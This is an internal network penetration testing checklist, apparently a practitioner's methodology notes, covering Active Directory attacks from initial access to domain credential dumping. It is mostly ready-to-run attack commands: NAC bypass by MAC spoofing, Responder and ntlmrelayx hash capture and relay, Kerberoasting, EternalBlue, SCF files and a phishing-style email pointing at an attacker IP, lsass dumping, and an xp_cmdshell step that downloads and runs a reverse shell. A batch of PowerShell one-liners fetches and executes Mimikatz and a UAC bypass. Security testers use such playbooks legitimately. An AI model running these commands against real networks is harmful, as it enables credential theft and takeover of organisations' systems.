INTERNAL NETWORK PENTEST

LOG EVERYTHING

- Remember to log all activity for reporting purposes. Take screenshots of everything, even if your attempts fail. I like to number my screenshots "1 - blah.png" to make it easer to review screenshots when creating the report narrative. You should be including positive findings for the client in your report Executive Summary and Storyboard sections.
- Change Bash prompt to add date, time, and IP address
  - Put this in your .bashrc (Linux) or .bash_profile (Mac):

    ```
    PS1='[`date  +"%d-%b-%y %T"`]\[\033[01;31m\] `ifconfig eth0 2>/dev/null | sed -n 2,2p | cut -d" " -f 10`\[\033[00m\] \[\033[01;34m\]\w\[\033[00m\] \$ '
    ```
- Change Zsh prompt (Kali 2020.4 and later) to add date, time, and IP address
  - Internal IP address:

    Edit .zshrc to include these two lines at the end:

    ```
    PROMPT="%{$fg_bold[grey]%}[%{$reset_color%}%{$fg_bold[${host_color}]%}%n@%m%{$reset_color%}%{$fg_bold[grey]%}]%{$reset_color%} %{$fg_bold[blue]%}%10c %W %t $(ifconfig | grep -A 1 wlp4s0 | grep inet | tr -s ' ' | cut -d ' ' -f 3) %{$reset_color%} $(git_prompt_info) $(git_remote_status)
    %{$fg_bold[cyan]%}❯%{$reset_color%} "
    ```
  - Internet IP address:

    Edut .zshrc to include these two lines at the end:

    ```
    PROMPT="%{$fg_bold[grey]%}[%{$reset_color%}%{$fg_bold[${host_color}]%}%n@%m%{$reset_color%}%{$fg_bold[grey]%}]%{$reset_color%} %{$fg_bold[blue]%}%10c %W %t $(curl -s http://ipecho.net/plain; echo) %{$reset_color%} $(git_prompt_info) $(git_remote_status)
    #%{$fg_bold[cyan]%}❯%{$reset_color%} "
    ```
- Screenshots
  - Windows
    - Install Greenshot: https://getgreenshot.org/
  - Linux
    - Install flameshot: sudo apt install -y flameshot
- CLI Logging
  - Windows
    - Tee-Object:

      ```
      Get-ChildItem -Path D: -File -System -Recurse | Tee-Object -FilePath "c:\test\AllSystemFiles.txt" -Append | Out-File c:\test\NewSystemFiles.txt
      ```

      This command saves a list of system files in two log files, a cumulative file and a current file.

      The command uses the Get-ChildItem cmdlet to do a recursive search for system files on the D: drive. A pipeline operator (|) sends the list to Tee-Object, which appends the list to the AllSystemFiles.txt file and passes the list down the pipeline to the Out-File cmdlet, which saves the list in the NewSystemFiles.txt file.

      Tee-Object works the same when running Dos commands in PowerShell.
  - Linux
    - Log using tee:

      command args | tee output.log

      Append to a log:

      command args | tee -a output.log

      Log all commands run in a terminal window using the script utility:

      script output.log

      Run a single command and log it using the script utility:

      script -c 'command args' output.log

      If your command requires single quotes in the args, wrap the command in double quotes or vice versa. You can also escape quotes.

      Metasploit spool command:

      msf> spool msfconsole.log

START OF TESTING

- Bypass NAC (If required)
  - Note: This works best if either using Kali on bare metal, or if using a virtual machine be sure to connect an external NIC to the vm. Find a spare VOIP phone, flip it over and make a note of the hostname and MAC address. On Kali, change the hostname to match the phone, and restart. Connect your external/USB ethernet device to the virtual machine. Use macchanger to match the external NIC's MAC to the phone MAC address. Finally, plugin the ethernet cable to the NIC and check to see if you picked up a useable IP address from DHCP. If yes, scan internal hosts using nmap and save screenshots of 'ifconfig' output and nmap scans.
- Perform a packet capture
  - 'sudo tcpdump -i <interface> -s0 -w pcapfile.pcap'
  - Look for things including HSRP broadcasts using default plaintext authentication with a password of 'Cisco'. Look for DHCPv6 broadcasts using "sudo tcpdump -i eth0 -n -vv '(udp port 546 or 547) or icmp6'". Make a note of any other information such as domain names found in pcap.
- Vulnerability Scan
  - Kickoff a Nessus scan (if required/in scope) before moving on to the following steps.

UNAUTHENTICATED MANUAL TESTING

- Enumerate Active Directory Naming Context
  - ldapsearch -h <DC IP> -x -s base namingcontexts
- Locate Active Directory Domain Controllers
  - nslookup -type=srv _ldap._tcp.<domain.name> | grep ldap | cut -d ' ' -f 6 | sed 's/\.$//g' > domaincontrollers.txt
- Null Session Enumeration
  - ldapsearch -h <DC IP> -x -b "DC=htb,DC=local"
- Get service account hashes for AD users with "Do Not Require Kerberos Preauthentication"
  - Using Impacket:

    impacket-GetNPUsers [Domain Name]/ -dc-ip [Domain Controller IP address] -request
    - Crack hashes using Hashcat mode 18200
- LLMNR/NBT-NS
  - Testing
    - Start Responder in Analyze mode (passive) " responder -I <interface> -A". Do you see any obvious honeypot systems? If yes, blacklist them in the configuration before switching to an active attack. Do you see LLNR and NetBIOS (NBNS)? If Yes, proceed to Exploitation.
  - Exploitation
    - Capture and crack password hashes
      - Configure Responder. Edit /etc/responder/Responder.conf "Challenge" line to be " Challenge = 1122334455667788"
      - Run Responder:

        responder -I <interface> --lm --wrd
      - Note: If you capture any NTLMv1 hashes without SSP, you don't have to crack them. See this article to learn how to transform NTLMv1 to an NTLM hash which can be used to Pass the Hash: https://crack.sh/netntlm/
    - Relay hashes
      - Configure Responder. Edit /etc/responder/Responder.conf

        Set "Challenge" line to be "Challenge = 1122334455667788"

        Change all servers from On to Off.
      - Run crackmapexec with the --gen-relay-list option to generate a file containing hosts that don't require SMB Signing.
      - Before proceeding, log the output using 'script ntlmrelayx.log'.

        Run Impacket ntlmrelayx with the -tf option specifying the file from the previous step:

        impacket-ntlmrelayx -tf [targetsfile] -l [LOOTDIR] -of [outputfile]

        After stopping ntlmrelayx, type 'exit' in the shell to stop script from logging to a file.
      - If you managed to dump any SAM hashes, proceed to Privilege Escalation.
- MITM IPv6
  - If DHCPv6 was found in your packet capture, see this video which explains exploitation to Domain Admin: https://www.youtube.com/watch?v=zzbIuslB58c
- Scan common vulnerable ports for default credentials and outdated software versions
  - UDP Ports: 53,69,111,161,500,623,2049

    TCP Ports: 21,22,23,25,53,80,81,88,110,111,123,137-139,161,389,443,445,500,512,513,548,623-624,1099,1241,1433-1434,1521,2049,2483-2484,3268,3269,3306,3389,4333,4786,4848,5432,5800,5900,5901,6000,6001,7001,8000,8080,8181,8443,10000,16992-16993,27017,32764
- Enumerate Web Apps
  - cat scans/nmap-tcp.xml | aquatone -nmap -out aquatone
  - Review Aqutone report. Check for printers or other network devices using default credentials, and if found check for LDAP connections and hijack the credentials using a 'passback attack'. Check for default credentials and vulnerable versions.
- Test for open SMTP relay

  -
    ```
    msfconsole
    use auxiliary/scanner/smtp/smtp_relay
    set RHOSTS <IP or File>
    set MAILFROM <PoC email address>
    set MAILTO <your email address>
    run
    ```
  - Exploit open SMTP relay
    - First, configure your system to capture hashes (responder) or relay (impacket-ntlmrelayx). Put recipient email addresses in file emailaddresses.txt.

      Content of msg-body.txt:

      ```
      <p>Hello,</p>
      <p>[Insert name/company here] is testing for an open SMTP relay. Please forward this to me once you receive it.</p>
      <p>Regards,</p>
      <p>[Name]</p>
      <p>Security Consultant, Penetration Testing</p>
      <p>[Company]</p>
      <p>[phone]</p>
      <p>[email address]</p>
      <p><img src="file://[Attacker IP address]/pic.jpg" alt="Download Images" /></p>
      ```
    - In a Linux terminal:

      ```
      while read -r line;do sendemail -f [from address] -t $line -u "Open SMTP relay test" -o message-file=msg-body.txt message-content-type=html -s [IP address]:25;done < emailaddresses.txt
      ```
- Kerberoast (requires credentials)
  - impacket-GetUserSPNs [Domain Name]/ -dc-ip [Domain Controller IP address] -request
    - Crack hashes using Hashcat mode 13100
- SMB Vulnerabilities
  - Nmap
    - sudo nmap -p 445 --open --script smb-vuln-ms08-067.nse,smb-vuln-ms17-010.nse
  - Metasploit
    - Use Metasploit auxiliary/scanner/smb/smb_ms17_010
  - Exploit: For XP/2003, exploit with Metasploit exploit/windows/smb/ms17_010_psexec. For later OS versions, use exploit/windows/smb/ms17_010_eternalblue
- NFS Open Shares
  - Scan
    - Scan with the Metasploit auxiliary/scanner/nfs/nfsmount module.
  - Mount and search for loot
    - mount [NFS-SHARE]:[NFS-PATH] /mnt nfs –o nolock
- IPMI
  - Use Metasploit auxiliary/scanner/ipmi/ipmi_dumphashes
- Cisco Smart Install
  - Note: This exploit is USUALLY safe, but I have seen it rarely crash switches and cause a network outage. It's best to test one switch at a time, and even safer to ask your contact which of the affected devices is relatively safe to test (in case the switch crashes and reboots).
  - Scan for hosts with port 4786/tcp open
  - Clone the SIET Github repository
  - Test:

    python siet.py -l <file with IP's> -t
  - Download device configs:

    python siet.py -l <file with IP's> -g
  - Use this script to crack any type 7 password hashes found in configs, and if found use it for password spraying in case of password reuse among service accounts. https://gist.github.com/averagesecurityguy/ccb00d10e3e9dc7e0dca0aedadbeffd6

FOLLOW UP ON NESSUS RESULTS

- Filter for exploitable, high severity items first.

AUTHENTICATED PRIVILEGE ESCALATION AND LATERAL MOVEMENT

- Crackmapexec
  - Local Accounts (SAM Hashes)
    - cme smb [network address || /path/to/FileWithIPsOrNetworks] -u [username] -p [password] --local-auth | tee /path/to/logfile.log
  - Domain Accounts
    - cme smb [network address || /path/to/FileWithIPsOrNetworks] -u [username] -p [password] | tee /path/to/logfile.log
  - Grep logfiles for "Pwn3d" to find systems where the credentials provide local administrator access
- Kerberoast
  - Get Hashes
    - from Linux
      - impacket-GetUserSPNs -request -save -dc-ip <IP> domain/user
    - from Windows
      - RiskySPN
  - Crack Hashes
    - Use hashcat mode 13100
  - Use cracked passwords
    - Use Crackmapexec to run a command like " whoami /groups" to find if the account is a member of a privileged group (Domain Admins, etc.).

      If not a member of a privileged group, use Crackmapexec to spray the credentials and find where the user is a local administrator, or use the credentials for Bloodhound.
- Privexchange
  - Metasploit
    - auxiliary/scanner/http/exchange_web_server_pushsubscription
  - Manual Exploitation
    - Clone Github repo
    - Run ntlmrelayx:

      ntlmrelayx.py -t ldap://[domaincontroller.domain.com] --escalate-user [username]
    - Run PrivExchange:

      python privexchange.py -ah [attacker IP] -u [username] -d [domain] [mailserver.domain.com]
    - Run Secretsdump:

      impacket-secretsdump [DOMAIN]/[username]@[dc.domain.com] -just-dc | tee [/path/to/output file]
    - Cleanup:

      Cleanup: Grep the ntds dump you got from secretsdump for the NTLM hash for the exchange server that you exploited. Also locate the ACL restore file that ntlmrelayx leaves in the same directory. Install aclpwn: pip install aclpwn. Run it: aclpwn --restore [/path/to/.restore file]
- Bloodhound
- SCF Files in Shares
  - Enumerate writeable file shares
    - Crackmapexec, log output to a file and grep for "WRITE".
    - PowerSploit Invoke-ShareFinder
  - Exploit
    - First, run Responder, or impacket-ntlmrelayx to capture or relay hashes.
    - Use the crackmapexec scuffy module, or manually place a text file with a .scf extension in the root of the file share. Contents:

      ```
      [Shell]
      Command=2
      IconFile=\\[your IP address]\share\pentest.ico
      [Taskbar]
      Command=ToggleDesktop
      ```
    - Wait for hashes to roll in.
- Mimikatz
  - Local:
    I don't use Mimikatz on production systems. I dump lsass.exe and use Mimikatz on a system that I control to dump creds from the dump file.
    - procdump64.exe -accepteula -64 -ma lsass.exe lsass.dmp
  - Network:
    Use the crackmapexec lsassy module

POST EXPLOITATION

- File Shares
  - From Linux
    - Plunder
    - Index file share contents:

      Note: I strongly recommend that you comment out lines 62 and 63 in /usr/bin/smbmap before running this. Otherwise you'll have many screens of rotating status "/" in your log file.

      smbmap -d [domain] -u [username] -p [password or NTLM hash] -R [share] -H [server] --depth 5 -g | tee shares.log

      Search log for files with credentials:

      cat shares.log | grep -i --include *.txt --include *.doc --include *.xls --include *.xlsx -e passw -e unattend.xml -e secret -e accounts -e login
    - Mount Windows shares:

      ```
      apt-get install -y cifs-utils
      mount -t cifs -o ro,domain=[domain],username=[username],password=[password],sec=ntlmv2 //hostnameOrIP/Share /path/to/localdir
      ```

      -OR-

      ```
      mount.cifs //172.16.42.52/C /root/share -o username=<user>
      ```
      - Search file contents:

        grep -irn --include *.txt --include *.doc --include *.xls --include *.xlsx passw
      - Search file names:

        find . -iname "*passw*" | grep -e '\.txt$' -e '\.xlsx$' -e '\.xls$' -e '\.doc$'
    - smbclient using password hash
      - smbclient --pw-nt-hash -W [domain] -U [username]%[NT Hash] //[IP or hostname]/[share]
  - From Windows
    - Powerview Find-InterestingFile
    - Search for GPP passwords in SYSVOL
      - findstr /s /n /i /p password \\example.com\sysvol\example.com*
    - Enumerate file shares (PowerView)
      - Invoke-ShareFinder -Verbose -HostList [./hostlist.txt] -ExcludeStandard -CheckShareAccess | Out-File -Encoding ASCII Found-Shares.txt
- MSSQL
  - PowerUpSQL
    - Verify you have authenticated access:

      Get-NetDomainControllers
    - MSSQL Server Discovery:

      Get-SQLInstanceDomain -Verbose
    - Easy Server Auditing:

      Invoke-SQLDumpInfo -Verbose -Instance "SQLServer1\STANDARDDEV2014"

      Invoke-SQLAudit -Verbose -Instance "SQLServer1\STANDARDDEV2014"
    - Automation:

      ```
      $Servers = Get-SQLInstanceDomain –Verbose | Get-SQLConnectionTestThreaded –Verbose –Threads 10 | Where-Object {$_.Status –eq “Accessible”}

      $Servers | Get-SQLServerInfo –Verbose

      $Servers | Invoke-SQLAudit -Verbose
      ```
  - SQShell
    - sqsh connect:

      sqsh -S [Server IP] -U sa -P [password]
    - Enable xp_cmdshell:

      ```
      EXEC SP_CONFIGURE 'xp_cmdshell', 1
      reconfigure
      go
      ```
    - Execute commands:

      ```
      xp_cmdshell 'whoami'
      go
      ```
    - Rotten Potato

      xp_cmdshell "whoami /priv"

      Look for "SeImpersonatePrivilege"
    - Get a reverse shell (Use Nishang Invoke-PowerShellTcp.ps1):

      ```
      xp_cmdshell "powershell IEX(New-Object Net.webclient).downloadString('http://[PTK IP]/[port]/[scriptname.ps1]')"
      go
      ```
- Dump Active Directory database (ntds) hashes
  - impacket-secretsdump [Domain]/[username]@[DC FQDN] | tee /path/to/outputfile
  - crackmapexec smb [IP] -u [username] -p [password] --ntds drsuapi
- Collection of PowerShell one-liners for red teamers and penetration testers to use at various stages of testing
  - Invoke-BypassUAC and start PowerShell prompt as Administrator [Or replace to run any other command]

    ```
    powershell.exe -exec bypass -C "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/privesc/Invoke-BypassUAC.ps1');Invoke-BypassUAC -Command 'start powershell.exe'"
    ```

    Invoke-Mimikatz: Dump credentials from memory

    ```
    powershell.exe -exec bypass -C "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Mimikatz.ps1');Invoke-Mimikatz -DumpCreds"
    ```

    Import Mimikatz Module to run further commands

    ```
    powershell.exe -exec Bypass -noexit -C "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Mimikatz.ps1')"
    ```

    Invoke-MassMimikatz: Use to dump creds on remote host [replace $env:computername with target server name(s)]

    ```
    powershell.exe -exec Bypass -C "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellEmpire/PowerTools/master/PewPewPew/Invoke-MassMimikatz.ps1');'$env:COMPUTERNAME'|Invoke-MassMimikatz -Verbose"
    ```

    PowerUp: Privilege escalation checks

    ```
    powershell.exe -exec Bypass -C “IEX (New-Object Net.WebClient).DownloadString(‘https://raw.githubusercontent.com/PowerShellEmpire/PowerTools/master/PowerUp/PowerUp.ps1’);Invoke-AllChecks”
    ```

    Invoke-Inveigh and log output to file

    ```
    powershell.exe -exec Bypass -C "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/Kevin-Robertson/Inveigh/master/Scripts/Inveigh.ps1');Invoke-Inveigh -ConsoleOutput Y –NBNS Y –mDNS Y –Proxy Y -LogOutput Y -FileOutput Y"
    ```

    Invoke-Kerberoast and provide Hashcat compatible hashes

    ```
    powershell.exe -exec Bypass -C "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Kerberoast.ps1');Invoke-kerberoast -OutputFormat Hashcat"
    ```

    Invoke-ShareFinder and print output to file

    ```
    powershell.exe -exec Bypass -C "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellEmpire/PowerTools/master/PowerView/powerview.ps1');Invoke-ShareFinder -CheckShareAccess|Out-File -FilePath sharefinder.txt"
    ```

    Import PowerView Module to run further commands

    ```
    powershell.exe -exec Bypass -noexit -C "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellEmpire/PowerTools/master/PowerView/powerview.ps1')"
    ```

    Invoke-Bloodhound

    ```
    powershell.exe -exec Bypass -C "IEX(New-Object Net.Webclient).DownloadString('https://raw.githubusercontent.com/BloodHoundAD/BloodHound/master/Ingestors/SharpHound.ps1');Invoke-BloodHound"
    ```

    Find GPP Passwords in SYSVOL

    ```
    findstr /S cpassword $env:logonserver\sysvol\*.xml findstr /S cpassword %logonserver%\sysvol\*.xml (cmd.exe)
    ```

    Run Powershell prompt as a different user, without loading profile to the machine [replace DOMAIN and USER]

END OF TESTING

- Ensure you have saved all screenshots and data to your system before moving to the next step.
- Clean up artifacts
  - Ensure that payloads, scheduled tasks, etc. have been removed.
  - Uninstall any software that you installed on client systems.
  - Remove any users that you added and restore any group memberships you changed.